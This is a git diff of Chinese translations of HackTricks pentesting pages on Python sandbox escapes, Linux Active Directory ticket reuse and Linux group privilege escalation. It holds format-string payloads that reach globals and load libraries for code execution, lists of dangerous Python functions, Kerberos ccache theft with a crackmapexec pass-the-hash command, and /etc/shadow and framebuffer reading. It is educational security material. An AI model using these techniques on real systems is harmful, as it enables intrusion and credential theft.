[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 来查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||||||
|
|
||||||
## 发现任意执行
|
## 发现任意执行
|
||||||
|
|
||||||
在这里,我想解释如何轻松发现 **更危险的功能** 并提出更可靠的利用方法。
|
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用。
|
||||||
|
|
||||||
#### 通过绕过访问子类
|
#### 通过绕过访问子类
|
||||||
|
|
||||||
|
@ -517,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||||
pdb:
|
pdb:
|
||||||
"""
|
"""
|
||||||
```
|
```
|
||||||
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以在可能的库中**按函数名称过滤**:
|
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**通过函数名称过滤**可能的库:
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||||
|
@ -553,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||||
## 递归搜索内置对象、全局变量...
|
## 递归搜索内置对象、全局变量...
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的地方。**
|
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
@ -698,7 +706,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而用 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`。
|
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而 **字典元素** 则可以用 **括号** 访问,不需要引号 `__globals__[CONFIG]`。
|
||||||
|
|
||||||
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
|
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
|
||||||
|
|
||||||
|
@ -718,7 +726,7 @@ return 'HAL 9000'
|
||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||||
#I'm afraid I can't do that.
|
#I'm afraid I can't do that.
|
||||||
```
|
```
|
||||||
**更多示例** 关于 **格式** **字符串** 示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
还请查看以下页面,了解将从 Python 内部对象中读取敏感信息的工具:
|
还请查看以下页面,了解将从 Python 内部对象中读取敏感信息的工具:
|
||||||
|
@ -746,16 +754,16 @@ str(x) # Out: clueless
|
||||||
```
|
```
|
||||||
### 从格式到 RCE 加载库
|
### 从格式到 RCE 加载库
|
||||||
|
|
||||||
根据[**这篇文章中的 TypeMonkey 挑战**](https://corgi.rip/posts/buckeye-writeups/),可以通过滥用 Python 中的格式字符串漏洞从磁盘加载任意库。
|
根据[**这篇文章中的 TypeMonkey 挑战**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
|
||||||
|
|
||||||
作为提醒,每当在 Python 中执行某个操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
|
作为提醒,每当在 Python 中执行某个操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
|
||||||
|
|
||||||
在[**没有调用的 Python 执行**](./#python-execution-without-calls)部分中还有更多类似的内容。
|
在[**没有调用的 Python 执行**](./#python-execution-without-calls)部分中还有更多类似的内容。
|
||||||
|
|
||||||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 这样获得 RCE。\
|
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 这样获得 RCE。\
|
||||||
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以滥用它们来获得 RCE。
|
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
|
||||||
|
|
||||||
在 Python 中寻找这样的 gadget,文章提供了这个[**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)。在这里他找到了这个[例子](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
在 Python 中寻找这样的 gadget,文章提供了这个[**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)。他发现了这个[例子](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||||
```python
|
```python
|
||||||
class LibraryLoader(object):
|
class LibraryLoader(object):
|
||||||
def __init__(self, dlltype):
|
def __init__(self, dlltype):
|
||||||
|
@ -777,7 +785,7 @@ return getattr(self, name)
|
||||||
cdll = LibraryLoader(CDLL)
|
cdll = LibraryLoader(CDLL)
|
||||||
pydll = LibraryLoader(PyDLL)
|
pydll = LibraryLoader(PyDLL)
|
||||||
```
|
```
|
||||||
这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传库**,以便正确编译到被攻击的服务器。
|
这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传要加载的库**,以正确编译到被攻击的服务器。
|
||||||
```python
|
```python
|
||||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||||
```
|
```
|
||||||
|
@ -786,10 +794,10 @@ pydll = LibraryLoader(PyDLL)
|
||||||
## 解剖 Python 对象
|
## 解剖 Python 对象
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
如果你想深入了解 **python 字节码**,请阅读这篇关于该主题的 **精彩** 文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
在一些 CTF 中,你可能会被提供一个 **自定义函数的名称,其中包含标志**,你需要查看 **函数** 的 **内部** 以提取它。
|
在某些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。
|
||||||
|
|
||||||
这是要检查的函数:
|
这是要检查的函数:
|
||||||
```python
|
```python
|
||||||
|
@ -824,7 +832,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||||
|
|
||||||
### **访问函数代码**
|
### **访问函数代码**
|
||||||
|
|
||||||
**`__code__`** 和 `func_code`:您可以 **访问** 函数的 **这个属性** 来 **获取函数的代码对象**。
|
**`__code__`** 和 `func_code`:您可以 **访问** 这个 **属性** 来 **获取函数的代码对象**。
|
||||||
```python
|
```python
|
||||||
# In our current example
|
# In our current example
|
||||||
get_flag.__code__
|
get_flag.__code__
|
||||||
|
@ -983,7 +991,7 @@ types.CodeType.__doc__
|
||||||
### 重建泄露的函数
|
### 重建泄露的函数
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实示例**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
在以下示例中,我们将直接从函数代码对象中获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
|
@ -995,9 +1003,9 @@ mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
#ThisIsTheFlag
|
#ThisIsTheFlag
|
||||||
```
|
```
|
||||||
### Bypass Defenses
|
### 绕过防御
|
||||||
|
|
||||||
在本文开头的前几个示例中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环和所有内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
在本文开头的前几个例子中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用**`exec`**做到这一点)。\
|
||||||
无论如何,有时在本地机器上**创建**一个**编译对象**并在**CTF 机器**上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
无论如何,有时在本地机器上**创建**一个**编译对象**并在**CTF 机器**上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||||||
|
|
||||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||||
|
@ -1037,7 +1045,7 @@ f(42)
|
||||||
```
|
```
|
||||||
## 反编译已编译的 Python
|
## 反编译已编译的 Python
|
||||||
|
|
||||||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具可以 **反编译** 给定的已编译 Python 代码。
|
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以 **反编译** 给定的已编译 Python 代码。
|
||||||
|
|
||||||
**查看这个教程**:
|
**查看这个教程**:
|
||||||
|
|
||||||
|
@ -1050,7 +1058,7 @@ f(42)
|
||||||
### 断言
|
### 断言
|
||||||
|
|
||||||
使用参数 `-O` 执行的 Python 将删除断言语句和任何基于 **debug** 值的条件代码。\
|
使用参数 `-O` 执行的 Python 将删除断言语句和任何基于 **debug** 值的条件代码。\
|
||||||
因此,像这样的检查
|
因此,检查像
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
try:
|
try:
|
||||||
|
@ -1070,17 +1078,25 @@ print(f"\nNot a Super User!!!\n")
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,35 @@
|
||||||
# Linux Active Directory
|
# Linux Active Directory
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
一台 Linux 机器也可以存在于 Active Directory 环境中。
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 Kerberos 票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或 **root** 用户。
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## 枚举
|
在Active Directory环境中也可以存在一台linux机器。
|
||||||
|
|
||||||
### 从 Linux 进行 AD 枚举
|
在AD中的linux机器可能**在文件中存储不同的CCACHE票证。这些票证可以像其他任何kerberos票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或**root**用户。
|
||||||
|
|
||||||
如果您在 Linux(或 Windows 的 bash)中访问 AD,您可以尝试 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) 来枚举 AD。
|
## Enumeration
|
||||||
|
|
||||||
您还可以查看以下页面以了解 **从 Linux 枚举 AD 的其他方法**:
|
### 从linux进行AD枚举
|
||||||
|
|
||||||
|
如果您在linux(或Windows中的bash)上访问AD,可以尝试[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)来枚举AD。
|
||||||
|
|
||||||
|
您还可以查看以下页面以了解**从linux枚举AD的其他方法**:
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||||
|
@ -33,27 +37,27 @@
|
||||||
|
|
||||||
### FreeIPA
|
### FreeIPA
|
||||||
|
|
||||||
FreeIPA 是一个开源的 **替代品**,用于 Microsoft Windows **Active Directory**,主要用于 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以进行 Unix 身份验证过程。了解更多信息:
|
FreeIPA是一个开源的**替代方案**,用于Microsoft Windows **Active Directory**,主要用于**Unix**环境。它结合了一个完整的**LDAP目录**和一个MIT **Kerberos**密钥分发中心,管理方式类似于Active Directory。利用Dogtag **证书系统**进行CA和RA证书管理,支持**多因素**身份验证,包括智能卡。集成了SSSD用于Unix身份验证过程。了解更多信息:
|
||||||
|
|
||||||
{% content-ref url="../freeipa-pentesting.md" %}
|
{% content-ref url="../freeipa-pentesting.md" %}
|
||||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 操作票证
|
## 玩票证
|
||||||
|
|
||||||
### Pass The Ticket
|
### Pass The Ticket
|
||||||
|
|
||||||
在此页面中,您将找到不同的地方,您可以 **在 Linux 主机中找到 Kerberos 票证**,在以下页面中,您可以了解如何将这些 CCache 票证格式转换为 Kirbi(您在 Windows 中需要使用的格式),以及如何执行 PTT 攻击:
|
在此页面中,您将找到不同的地方,您可以**在linux主机中找到kerberos票证**,在以下页面中,您可以学习如何将这些CCache票证格式转换为Kirbi(您在Windows中需要使用的格式),以及如何执行PTT攻击:
|
||||||
|
|
||||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 从 /tmp 重用 CCACHE 票证
|
### 从/tmp重用CCACHE票证
|
||||||
|
|
||||||
CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。要验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便重用。
|
CCACHE文件是用于**存储Kerberos凭据**的二进制格式,通常以600权限存储在`/tmp`中。这些文件可以通过其**名称格式,`krb5cc_%{uid}`,**与用户的UID相关联来识别。要验证身份验证票证,**环境变量`KRB5CCNAME`**应设置为所需票证文件的路径,以便重新使用。
|
||||||
|
|
||||||
使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过使用 `export KRB5CCNAME=/tmp/ticket.ccache` 设置环境变量来 **重用**。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。
|
使用`env | grep KRB5CCNAME`列出当前用于身份验证的票证。该格式是可移植的,票证可以通过使用`export KRB5CCNAME=/tmp/ticket.ccache`设置环境变量来**重新使用**。Kerberos票证名称格式为`krb5cc_%{uid}`,其中uid是用户UID。
|
||||||
```bash
|
```bash
|
||||||
# Find tickets
|
# Find tickets
|
||||||
ls /tmp/ | grep krb5cc
|
ls /tmp/ | grep krb5cc
|
||||||
|
@ -119,6 +123,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
||||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -128,8 +136,8 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -13,6 +13,12 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
今天获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
# Sudo/Admin 组
|
# Sudo/Admin 组
|
||||||
|
|
||||||
|
@ -86,7 +92,7 @@ sudo su
|
||||||
```
|
```
|
||||||
# Shadow Group
|
# Shadow Group
|
||||||
|
|
||||||
来自 **group shadow** 的用户可以 **读取** **/etc/shadow** 文件:
|
来自 **group shadow** 的用户可以 **read** **/etc/shadow** 文件:
|
||||||
```text
|
```text
|
||||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||||
```
|
```
|
||||||
|
@ -121,7 +127,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||||
```
|
```
|
||||||
**tty1**意味着用户**yossi 正在物理上**登录到机器上的终端。
|
**tty1**意味着用户**yossi 正在物理上**登录到机器上的终端。
|
||||||
|
|
||||||
**video group**有权查看屏幕输出。基本上,您可以观察屏幕。为了做到这一点,您需要**以原始数据抓取当前屏幕上的图像**并获取屏幕使用的分辨率。屏幕数据可以保存在`/dev/fb0`中,您可以在`/sys/class/graphics/fb0/virtual_size`中找到该屏幕的分辨率。
|
**video group**有权查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要**以原始数据抓取当前屏幕上的图像**并获取屏幕使用的分辨率。屏幕数据可以保存在`/dev/fb0`中,你可以在`/sys/class/graphics/fb0/virtual_size`找到该屏幕的分辨率。
|
||||||
```bash
|
```bash
|
||||||
cat /dev/fb0 > /tmp/screen.raw
|
cat /dev/fb0 > /tmp/screen.raw
|
||||||
cat /sys/class/graphics/fb0/virtual_size
|
cat /sys/class/graphics/fb0/virtual_size
|
||||||
|
@ -142,7 +148,7 @@ cat /sys/class/graphics/fb0/virtual_size
|
||||||
```bash
|
```bash
|
||||||
find / -group root -perm -g=w 2>/dev/null
|
find / -group root -perm -g=w 2>/dev/null
|
||||||
```
|
```
|
||||||
# Docker Group
